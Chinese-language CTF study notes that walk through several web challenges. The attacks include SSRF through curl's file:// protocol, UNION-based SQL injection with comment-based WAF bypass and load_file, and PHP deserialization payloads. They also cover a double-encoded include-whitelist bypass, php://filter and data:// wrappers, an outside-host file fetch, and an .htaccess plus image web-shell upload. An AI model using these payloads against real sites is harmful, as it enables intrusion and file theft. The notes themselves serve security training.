考点 SSRF
新学:
dirsearch,dirmap使用
sqlmap
ssrf
反序列化
绕过waf的联合注入
curl不仅能支持http(s),还支持file协议
nikto
python dirsearch.py -u 网址 -e *
dirmap使用在kali
nikto使用在kali
ssrf
它是一种由攻击者构造形成,由服务端发起请求的一个安全漏洞。因为它是由服务端发起的,所以它能够请求到与它相连但与外网隔离的内部系统。
一般由curl的滥用引起。
这篇很详细
浅记录一下
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
class UserInfo
{
public $name = "adminnn";
public $age = 0;
public $blog = "file:///var/www/html/flag.php";
}
$data=new UserInfo();
echo serialize($data);
?>
O:8:"UserInfo":3:{s:4:"name";s:7:"adminnn";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
我们发现因为从代码中得知用户在注册填的bolg会调用get()函数使用curl发起网络请求获得blog内容并显示出来,这里因为curl_exec()
使用不当造成SSRF
(服务器端请求伪造)。想着在注册的时候直接利用SSRF漏洞读flag.php,发现不可行,因为注册的时候有正则匹配限制了http(s)协议
发现注入点no=1
?no=1 order by 4 -- -
?no=-1 union select 1,2,3,4-- -
发现union select 被ban,应该是防火墙的原因,
waf(防火墙)绕过
报错注入
最后发现是序列化,提示我们这题需要构造反序列化
?no=0/**/union/**/select 1,2,3,4-- -
/view.php?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'-- -
用bp抓post注入
所以就用burpsuite截取了post数据包,保存为post.txt
POST /join.ok.php HTTP/1.1
Host: 0215a9fa-2e11-4bba-9447-2558d5d7fa53.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 94
Origin: http://0215a9fa-2e11-4bba-9447-2558d5d7fa53.node4.buuoj.cn:81
Connection: close
Referer: http://0215a9fa-2e11-4bba-9447-2558d5d7fa53.node4.buuoj.cn:81/join.php
Cookie: PHPSESSID=e0ag5evr98fakpdu0qte1iffi5
Upgrade-Insecure-Requests: 1
username=12345&passwd=11111&age=1&blog=https%3A%2F%2Fblog.csdn.net%2Fqq_61109509%3Ftype%3Dblog
sqlmap -r /root/File/post.txt --dump -tables
sql注入没有过滤load_file,直接取得flag
no=0/**/union/**/select 1,load_file("/var/www/html/flag.php"),3,4-- -
在源代码看到source.php
"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "
";
}
?>
又看到hint.php
flag not here, and flag in ffffllllaaaagggg
意思就是传入一个file变量,需要是字符串,并且传进emmm的checkFile函数时还要返回True, 就可以被包含,那么包含什么呢??就是之前hint.php里面的ffffllllaaaagggg
checkFile函数有很多返回True的条件,我们满足一个就可以
第一个if, page变量不为空,是字符串
第二个if,传入的page在白名单中
第三个if,该代码表示截取 p a g e 中 ′ ? ′ 前 部 分 , 若 无 则 截 取 整 个 page中'?'前部分,若无则截取整个 page中′?′前部分,若无则截取整个page,截取page ?之前的字符赋给_page,判断_page是否在白名单中
第四个if,对page进行一次url解码并赋给_page,截取_page ?之前的字符赋给_page,判断_page是否在白名单中,
浏览器本身会url解码一次,所以要解码两次再得到source.php或hint.php,那么我们就需要url编码两次,一般来说英语字符url后还是
本身,所以对?进行两次url编码就行.
/source.php?file=source.php%253f../../../../../ffffllllaaaagggg
看源码
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "
"
.file_get_contents($text,'r')."";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
引入一个text.txt,有两种情况,这里file_get_contents可能会触发SSRF漏洞,所以一种是用自己的网站将text.txt引进来,还有一种是data协议
test=http://pipasound.xyz/text.txt
test=data://text/plain,welcome to the zjctf
data://协议
http://127.0.0.1/include.php?file=data://text/plain,
text/plain,表示的是文本
text/plain;base64, 若纯文本没用可用base64编码
看到useless.php我们进行访问,但是访问不进去,试试用伪协议读取
file=php://filter/read=convert.base64-encode/resource=useless.php
构造payload
?text=http://pipasound.xyz/text.txt&file=php://filter/read=convert.base64-encode/resource=useless.php&password=123
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
构造序列化
class Flag{
public $file;
}
$aaa=new Flag();
$aaa->file='flag.php';
echo serialize($aaa);
?>
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
payload
?text=http://pipasound.xyz/text.txt&file=php://filter/read=convert.base64-encode/resource=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
上传.htaccess
接着上传图片马
接着连接蚁剑,找到flag
在源代码查看到了search.php
打开后看源代码,,发现一串base32编码再转为base64编码,得到
select * from user where username='$name'
并且发现用户为admin时返回的是wrong pass,也就是说admin可能就是我们需要的用户
伪协议嵌套,假路径包含
源代码发现index.php,伪协议读取一波
?category=php://filter/convert.base64-encode/resource=index.php
报错php,去掉就好了
解码得到
有两种绕过方法
假路径包含
?category=php://filter/convert.base64-encode/resource=index/…/flag
进入index文件夹,但index文件夹不存在,返回上一层读flag
伪协议嵌套
?category=php://filter/convert.base64-encode/index/resource=flag